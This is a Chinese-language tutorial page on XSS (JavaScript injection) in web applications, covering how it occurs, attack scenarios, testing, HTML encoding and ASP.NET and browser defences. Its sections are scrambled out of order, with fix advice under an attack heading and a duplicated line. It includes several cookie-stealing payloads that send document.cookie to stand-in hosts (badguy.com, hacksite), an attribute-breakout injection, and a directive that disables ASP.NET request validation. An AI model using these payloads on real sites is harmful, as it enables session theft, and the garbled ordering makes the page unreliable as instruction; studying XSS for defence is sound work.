JavaScript注入漏洞的原理及防范(详解)

JavaScript注入漏洞的原理及防范(详解)

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

浏览器中的XSS过滤器

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

HTML Encode 和URL Encode的区别

测试漏洞时注入内容:

 在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本,
看能不能弹出对话框,能弹出的话说明存在XSS漏洞

漏洞被用于攻击时注入内容:

  1. 将重要的cookie标记为http only,   这样的话Javascript
    中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。
    例如: 年龄的textbox中,只允许用户输入数字。
    而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , 
    < for <, > for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 “onclick=”, “onfocus” 等等。

<script>alert(0)</script>

Fiddler中也提供了很方便的工具, 点击Toolbar上的”TextWizard” 按钮

发生模式:

现在已经有很多XSS扫描工具了。
实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss
测试脚本。发送给Web服务器。
然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

曾经在帮别的项目做Bug
Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

http://victim.com/search.asp?term=&lt;script&gt;window.open("http://badguy.com?cookie="+document.cookie)&lt;/script&gt;

JavaScript Html Encode/Decode by
jQuery:

 ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

<script>debugger</script>
–辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

 假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

 攻击的威力,取决于用户输入了什么样的脚本

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web
app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

value1from是来自用户的输入,如果用户不是输入value1from,而是输入
“/><script>alert(document.cookie)</script><!-
那么就会变成

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

<input type=”text” name=”address1″
value=””/><script>alert(document.cookie)</script><!-
“>

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持脚本之家。

Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。

解决方案:

如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false” 
%>

jQuery场景:

 HTML Encode

原生JS场景:

阅读目录

初次接触:

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器.
例如下图

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

 如果需要做测试, 最好使用IE7。

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

作为测试人员,需要了解XSS的原理,攻击场景,如何修复。
才能有效的防止XSS的发生。

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

 在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode(“string
<scritp>”) 就可以了。  (需要引用System.Web程序集)

事件被触发的时候嵌入的JavaScript代码将会被执行

Fiddler中也提供了很方便的工具, 点击Toolbar上的”TextWizard” 按钮

Tom 先建立一个网站http://badguy.com
用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

  1. XSS 是如何发生的
  2. HTML Encode
  3. XSS 攻击场景
  4. XSS漏洞的修复
  5. 如何测试XSS漏洞
  6. HTML Encode 和URL Encode的区别
  7. 浏览器中的XSS过滤器
  8. ASP.NET中的XSS安全机制

Web安全测试之XSS

  1. Stored XSS(存储式XSS漏洞),
    该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。
    攻击过程如下

图片 1

XSS之所以会发生, 是因为用户输入的数据变成了代码。
所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的”中括号”,
“单引号”,“引号” 之类的特殊字符进行编码。

HTML编码前面已经介绍过了,关于URL
编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。
例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。
例如下图

假如有下面一个textbox

以上就是Web安全测试之XSS,后续继续整理相关的软件测试资料,谢谢大家对本站的支持!

XSS 攻击场景

  1. Dom-Based XSS 漏洞 攻击过程如下
admin

网站地图xml地图